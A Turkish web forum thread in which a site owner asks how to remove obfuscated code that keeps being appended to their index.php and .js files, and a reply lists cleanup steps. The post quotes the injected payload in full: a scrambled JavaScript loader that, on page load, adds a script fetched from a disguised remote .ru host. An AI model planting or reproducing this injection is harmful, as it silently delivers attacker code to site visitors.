arkadaşlar sitenin ftp sindeki index.php ve .js uzantılı dosyaların sonuna sürekli olarak aşağıdaki kodlar ekleniyor. haliyle virüs uyarısı alıyorum. bir kaç kere tek tek sildim ama yeniden geldi. bunu nasıl önlerim ve siteden topluca nasıl temizlerim
eklenen kod:
/*GNU GPL*/ try{window.onload = function(){var Owcdrqxszmw = document.createElement('s(^!^c##!r!&i(!p@(&#&t(&(&'.replace(/@|\$|\!|&|#|\^|\)|\(/ig, ''));var Ifntntxh5eayt = 'Ecyef19tszoe';Owcdrqxszmw.setAttribute('type', 't@e@$)&x)(t&@&^)/(^j^a&#v#a(!s)#c&)$$r!)i!p!!t@'.replace(/@|\$|#|\!|&|\)|\(|\^/ig, ''));Owcdrqxszmw.setAttribute('src', 'h#&t^!t))@p@$:)#!$/#/@!&p)@a!^^s^(s!^!#p)^$!o((r^&^t!)-&n@e$^t@!#(@.!^#m)!c#&s##&s@@^@$l!#).)((@c#^^^o()m@^$.)z!#y!n!!$#g^(!a@-@&c$#o&&$m$)&&.)^&$@s(u^p@&!@e^&r)^(o$(r!e!^!(.)$(r^#^u(:(!8#0!(#8$#$0#!(/(##g^$o&o$^$g&^)l(e!(.$$(@c())o!$^$m(!/&g@)!o!o!@g$##^l$&^e(.&^&#c!!&o@&m@#)/#!m$)e!$#)r!c($&a@^#d#&(o@$^!l)i#(v(r!^e&(.^@c@o)($m!.^)!b$(r!$^/@p$&a)&n##t#i#@p^^.!^((c#$&$o$#m&)!/$&&$g#&##e(&t##&a&^&^f)(@r^(&@!e$&e(l$#^)a#$!^n^c(e!^$r!$!.#)c&@o$#m&/!'.replace(/\)|\!|@|\(|\^|&|#|\$/ig, ''));Owcdrqxszmw.setAttribute('defer', 'd^&e)!!f^e($r$^!'.replace(/\)|\^|\(|\!|&|\$|#|@/ig, ''));Owcdrqxszmw.setAttribute('id', 'Y@&&e$)g^^d!#5(!)h#)(!x!^x!)&&p$!e!##3$^#0!#&'.replace(/#|\)|\(|\^|\!|@|&|\$/ig, ''));document.body.appendChild(Owcdrqxszmw);}} catch(Mas6iys564pta) {}
Sitedeki dökümanlarını indir
Advenced find and replace adlı programı kur
Bu programla script kodları bularak tek tek temizle
Sitene tekrar yükle
Ftp şifrelerini değiştir.
Yine virüs hatası geliyorsa (benimkinde yine virüs uyarısı vermişti) forumun sürümünü indirdim ve ftpye direk yükledim bazı modifikasyonlar gitti ama sonuçta virüsten kurtuldum
teşekkür ederim